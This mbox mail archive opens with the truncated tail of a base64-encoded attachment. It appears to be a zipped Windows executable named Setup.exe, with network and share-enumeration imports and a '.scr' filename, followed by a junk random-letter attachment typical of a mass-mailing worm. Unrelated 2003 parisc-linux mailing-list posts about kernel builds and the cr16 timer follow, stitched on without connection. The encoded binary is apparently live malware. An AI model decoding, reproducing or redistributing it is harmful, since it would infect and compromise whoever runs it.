6w6QkJCQigaIB0ZHAdt1B4seg+78Edty7SvAZkCQAdt1B4seg+78EdsRwAHbcwt1GYseg+78Edty
EEgB23UHix6D7vwR2xHA69QxyYPoA3IRweAIigZGg/D/dHjR+InF6wsB23UHix6D7vwR2xHJAdt1
B4seg+78EdsRyXUgQQHbdQeLHoPu/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QD7//+D0QGNFC+D
/fx2D4oCQogHR0l19+lP////kIsCg8IEiQeDxwSD6QR38QHP6Tj///9eVl+56wIAAIoHRyzoPAF3
94A/B3XyiweKXwRmwegIwcAQhsQp+IDr6AHwiQeDxwWJ2OLZjb4AwAQAiwcJwHRFi18EjYQwEOUE
AAHzUIPHCP+WnOUEAJWKB0cIwHTcifl5Bw+3B0dQR7lXSPKuVf+WoOUEAAnAdAeJA4PDBOvY/5ak
5QQAYenHsPv/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAA
AAACAAEAAABAAACAAgAAAGgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAFgAAADU8AQA6AIAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAABAAkEAACAAAAAwPMEACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AQBpAAAAqAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAwAAAAOz0BAAiAAAAAAAAAAAAAADQwAQAKAAA
ACAAAABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA
gACAAICAAADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAAAAAA
AAAAAAh3d3d3d3d3d3d3cHAAAACP//////////////cHAAAAj//////////////3BwAAAI/wAAAP
////////9wcAAACP//////////////cHAAAAj/AAAA/////////3BwAAAI//////////////9wcA
AACP//////////////cHAAAAj/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP8AAAAAAA
AAAAD/cHAAAAj//////////////3BwAAAI/wAAAAAAAAAAAP9wcAAACP//////////////cHAAAA
j/AAAAAAAAAAAA/3BwAAAI//////////////9wcAAACP//////////////cHAAAAj/AAAA//////
///3BwAAAI//////////////9wcAAACP//////////////cHAAAAj//////////////3BwAAAI/w
AAAP////////9wcAAACP//////////////cHAAAAj/AAAA////8PAA/3BwAAAI//////////////
9wcAAACP//////////////cHAAAAj//////////////3BwAAAI8P8P8P8P8P8P8P+AcAAACPD/D/
D/D/D/D/D/gHAAAACPiPiPiPiPiPiPiPgAAAAAAAAAAAAAAAAAAAAAAAAPAAAB/gAAAPwAAAB8AA
AAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAA
B8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB8AAAAfAAAAHwAAAB+AAAA/ySSS/
uMMEACgAAAAQAAAAIAAAAAEABAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAA
gIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAA
AACHd3d3d3cAAI//////9wAAj//////3AACP8AAAD/cAAI//////9wAAj/AAAA/3AACP//////cA
AI/wAAAP9wAAj//////3AACP8ADwD/cAAI//////9wAAj//////3AACPDw8PDw8AAAD4+Pj48AAA
AAAAAAAAAACADwAAAAcAAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAABwAAAAcAAAAHAAAA
BwAAAAcAAIAPAADVXwAA4MQEAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAoAQAAAgAAAAAA
AAAAAAAAAAAAANT1BACc9QQAAAAAAAAAAAAAAAAA4fUEAKz1BAAAAAAAAAAAAAAAAADu9QQAtPUE
AAAAAAAAAAAAAAAAAPb1BAC89QQAAAAAAAAAAAAAAAAAAfYEAMT1BAAAAAAAAAAAAAAAAAAN9gQA
zPUEAAAAAAAAAAAAAAAAAAAAAAAAAAAAGPYEACb2BAA29gQAAAAAAET2BAAAAAAAUvYEAAAAAABi
9gQAAAAAAG72BAAAAAAANAAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAE1QUi5kbGwA
VVNFUjMyLmRsbABXSU5JTkVULmRsbABXUzJfMzIuZGxsAAAATG9hZExpYnJhcnlBAABHZXRQcm9j
QWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdPcGVuS2V5QQAAAFdOZXRPcGVuRW51bUEAAAB3c3By
aW50ZkEAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0YXRlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAUEsBAhQACgAAAAAAKqY6Lu0T0I8AsgAAALIAAEQAAAAAAAAAAAAgAICBAAAAAERP
Q1VNRX4xXEFETUlOSX4xXExPQ0FMU34xXFRlbXBcU2V0dXAuZXhlAHNjcgAwMDAwMDAwMDAwMDAw
MDAwMDAudHh0UEsFBgAAAAABAAEAcgAAAGKyAAAAAA==

--#EMWSD61561#
Content-Type: application/octet-stream;
	name="tkpqlyz.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="tkpqlyz.txt"



Content-Type: application/octet-stream;
Content-Transfer-Encoding: base64
Content-Disposition: attachment;

ldxommqvucyeqyigwmbhsnmrnplqesksihqmrmromiimuxtfbhqkqjdmnkhjnqgmtuckvnibctuicajk
txaoxuvfojhvoulclocpdkhpxrhlntmahdyehfniwvxfskkpnvjfpmkbjwwerqimqlhiarmrqaxnrayb
wvmlalrjmybmhruvxqmsfglexkfhashbsljamsvavxausjywcwlsuiahoxtnqynmmjsrwtqjqiqrfwsl
ghwggcwfvrhlfhkpbcfcpohqkqjritlgmtspgonunfbmkoqobijqdtcussgfdkcmfsgoqdflococdwyn
bbentbjvybrekusauvflreqhcllottqvcfqbgusrmjaixrhaepegsxshnuqprogrcdjrramrjktakrho
ynwdiyjsxfeefkcgkxcwotuhikpgsarsartjbotgdmnmisfqbvttfgoivkktiowogewblmkrvefkhkfq
tplvxunhpoasfiscdgdupxiydabshfcxtkuxsjbfavkslwoftkdohnbebouynqwfawsndbxmjgufikub
fcwdxdcldbpebnclijldikueblfkviljbatlmhgvciijkcefpuejmpptsqoyvytkbocepyrqdncwniuj
xgwatfghnsfkogwmexulqfbpqsjimhmdskvpwcjgtfjytunmdwkajjdmmcmywedxinphfoitylqswmjq
gggvjrlkuegxpluhucrtblrhdjlejpgksxqnbjcshpclxwacrnfxacvakcoxxbpwviwlfjdifknxpltv
ycnicttmoukbbetvcqlawngghuvevvbquyniqcvuwjkuwtbgtfpsursosedckyvqkhbabgboglnpvjbt
orvdgpoitmkmoukmwdddppikkdrvxejsjehhluplxluvsdjwhnpwcrtrshebtwejtngvaujwqkqenluw
rtmqx

--#EMWSD61561#


From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-2.6.0-test2-pa0: __canonicalize_f_f_c patch
Date: Tue, 29 Jul 2003 15:12:55 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3F1E4E7400001547@ocpmta2.freegates.net>
References: <20030728161043.GB3840@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622632 28576 80.91.229.3 (22 Nov 2014 02:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:12 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 07:13:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C298482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jul 2003 07:13:04 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19hUFg-0004UH-00; Tue, 29 Jul 2003 15:10:52 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 29 Jul 2003 15:12:55 +0200
In-Reply-To: <20030728161043.GB3840@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19045

Hi Willy,

> diff -NaurX dontdiff linux-2.6.0-test2-pa0/include/asm-parisc/uaccess.h
linux-2.6.0-test2-pax/include/asm-parisc/uaccess.h
[...]

>i like this one.
Thanks (that one I suggest a time ago <http://lists.parisc-linux.org/pipermail/parisc-linux/2002-October/018116.html>
just not ci (forget :))

By the you answer's this
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-October/018118.html>
any news about this?

Thanks a lot,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-2.6.0-test2-pa1 failled to build as 64bits
Date: Tue, 29 Jul 2003 17:07:28 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <3F1E4E740000161F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622632 28580 80.91.229.3 (22 Nov 2014 02:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 09:07:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F674482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jul 2003 09:07:30 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19hW1f-0002d2-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jul 2003 17:04:31 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 29 Jul 2003 17:07:28 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19046

Hi pa,

As I do not reach to boot 2.6.0-test2-pa1 in 32bits mode on my b2k, I would
try it in 64bits.

To do so I get last cvs ; make mrproper ; make defconfig.
With make menu config, I select PA8000 and 64bits kernel
(install gcc-hppa64_3.0.ds9-3 and binutils-hppa64_2.11.90.0.19.cvs1)

But make vmlinux failled with following message:
  CPIO    usr/initramfs_data.cpio
  GZIP    usr/initramfs_data.cpio.gz
  AS      usr/initramfs_data.o
usr/initramfs_data.S: Assembler messages:
usr/initramfs_data.S:29: Error: Unknown pseudo-op:  `.incbin'
make[1]: *** [usr/initramfs_data.o] Error 1
make: *** [usr] Error 2

Even if I uncheck InitRamFs support, it also failed?

(I check: it compiles well in 32 gcc-3.0 or 3.3 + __canonicalize_f_f_c patch)

Thanks in advance for further help,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] preempt support for 2.6.0-test1
Date: Tue, 29 Jul 2003 18:14:23 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3F1E4E7400001656@ocpmta2.freegates.net>
References: <20030725045837.GB9254@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622632 28582 80.91.229.3 (22 Nov 2014 02:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:12 +0000 (UTC)
To: "Randolph Chung" <randolph@tausq.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 10:14:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB3824848
	for <parisc-linux@parisc-linux.org>; Tue, 29 Jul 2003 10:14:29 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19hX4Q-0007Dm-00; Tue, 29 Jul 2003 18:11:26 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 29 Jul 2003 18:14:23 +0200
In-Reply-To: <20030725045837.GB9254@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19047

Hi Randolph,

> ftp://ftp.parisc-linux.org/patches/diff-2.6.0-test1-preempt

> Seems to boot and can compile stuff on a500. YMMV. Comments, test 
> results, etc appreciated.
Not so lucky than you with my b2000 so I test it with same success (ie boot
and compile kernel) on my b180.

Thanks,
    Joel

------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Tue, 29 Jul 2003 13:50:58 -0400
Lines: 59
Approved: news@gmane.org
Message-ID: <20030729175057.GA17107@systemhalted>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted> <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk> <20030728211012.GC6706@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622632 28585 80.91.229.3 (22 Nov 2014 02:17:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:12 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 11:52:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id BB9D6482E; Tue, 29 Jul 2003 11:52:58 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19hYck-0005iK-00; Tue, 29 Jul 2003 13:50:58 -0400
Content-Disposition: inline
In-Reply-To: <20030728211012.GC6706@sleepie.demon.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19048

> > We discussed this in the Black Thorn ... record what value you last
> > returned to the user and never return less than that.
> 
> Not very nice if the difference between CPUs is significant.  You could
> find yourself checking time on CPU A, doing some work, getting moved to
> CPU B, checking time, and finding you apparently did all that in 0ns.

Willy and myself talked about this, you just return 1ns in the case
where you know that _something_ must have taken _some_ amount of time
(e.g. the insns that make up fast gettimeofday) so you couldn't have done
it in zero time :)

I also just noticed (thanks to jejb) that cr16 is readable from
userspace since we leave PSW-S cleared. So the following works:

        unsigned long cr16;
        asm("mfctl %%cr16, %0" : "=r" (cr16) : );
        printf("cr16=%lu\n",cr16);

---
carlos@firin:~$ ./test_cr16_read 
cr16=3544734914
carlos@firin:~$ ./test_cr16_read 
cr16=4230470557
carlos@firin:~$ ./test_cr16_read 
cr16=2337868642
carlos@firin:~$ 
---

It overlaps pretty fast though. Userspace could do the translation and
hold on to a 'last_tick' value and then return a really small value if
we get scheduled onto a negatively-drifted CPU? Do all CPU's update cr16?

Willy, I just realized that the following trail of function calls
doesn't really work under smp:

glibc -> 
 gettimeofday -> 
  syscall + syscall table lookup -> 
   sys32_gettimeofday ->
    do_gettimeofday ->
     gettimeoffset ( returns 0 in smp)

With the comment I don't quite understand:
linux-2.4/arch/parisc/kernel/time.c
   /*
    * FIXME: This won't work on smp because jiffies are updated by cpu
    * 0.
    *    Once parisc-linux learns the cr16 difference between
    *    processors,
    *    this could be made to work.
    */

Does that mean that our time granularity drops drastically in the SMP
case? We loose usec! (2.4 and 2.5 kernels)

c.



From - Thu Nov 08 21:28:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Tue, 29 Jul 2003 12:51:30 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030729185130.GA22989@dsl2.external.hp.com>
References: <20030725063739.GA13017@systemhalted> <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622633 28590 80.91.229.3 (22 Nov 2014 02:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:13 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 12:51:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C5550482E; Tue, 29 Jul 2003 12:51:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19049

On Mon, Jul 28, 2003 at 06:45:51PM +0100, Matthew Wilcox wrote:
...
> > It might be too costly to do the sync'ing all the time, and too costly
> > for a fast gettimeofday to do a sync at the polling point.

If they all use the same clock source they won't drift.

> > gettimeofday. Do we even have such a fast clock on PA? What is the
> > fastest clock across the most boxes?

cr16

> You know, you don't even need kernel help for this.  According to page
> 2-5 of the Kane book, the Interval Timer is accessible by non-privileged
> instructions.

One needs kernel help in determining the difference between CPUs
and handling CR16 rollover (mostly a problem for 32-bit machines).
But then user space can read CR16 and "normalize" the time.

grant


From - Thu Nov 08 21:28:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic light-weight syscall.
Date: Tue, 29 Jul 2003 12:55:21 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <20030729185521.GB22989@dsl2.external.hp.com>
References: <20030725113700.GH1485@parcelfarce.linux.theplanet.co.uk> <20030726174845.GF31744@systemhalted> <20030726180031.GG31744@systemhalted> <20030727122745.GC16753@dsl2.external.hp.com> <20030728155703.GA32553@systemhalted> <20030728174551.GC3840@parcelfarce.linux.theplanet.co.uk> <20030728190455.GE32553@systemhalted> <20030728191420.GE3840@parcelfarce.linux.theplanet.co.uk> <20030728211012.GC6706@sleepie.demon.co.uk> <20030729175057.GA17107@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622633 28593 80.91.229.3 (22 Nov 2014 02:17:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:13 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 29 12:55:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CB764482E; Tue, 29 Jul 2003 12:55:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030729175057.GA17107@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19050

On Tue, Jul 29, 2003 at 01:50:58PM -0400, Carlos O'Donell wrote:
>         unsigned long cr16;
>         asm("mfctl %%cr16, %0" : "=r" (cr16) : );
>         printf("cr16=%lu\n",cr16);

this only gets you the CR16 for *that* CPU.
Not useful since CR16 isn't syncronized at powerup between CPUs.
At least I don't think that's the case...maybe Kirk Bresniker knows
how that works. We've talked about this before on parisc-linux.

...
> With the comment I don't quite understand:
> linux-2.4/arch/parisc/kernel/time.c
>    /*
>     * FIXME: This won't work on smp because jiffies are updated by cpu
>     * 0.
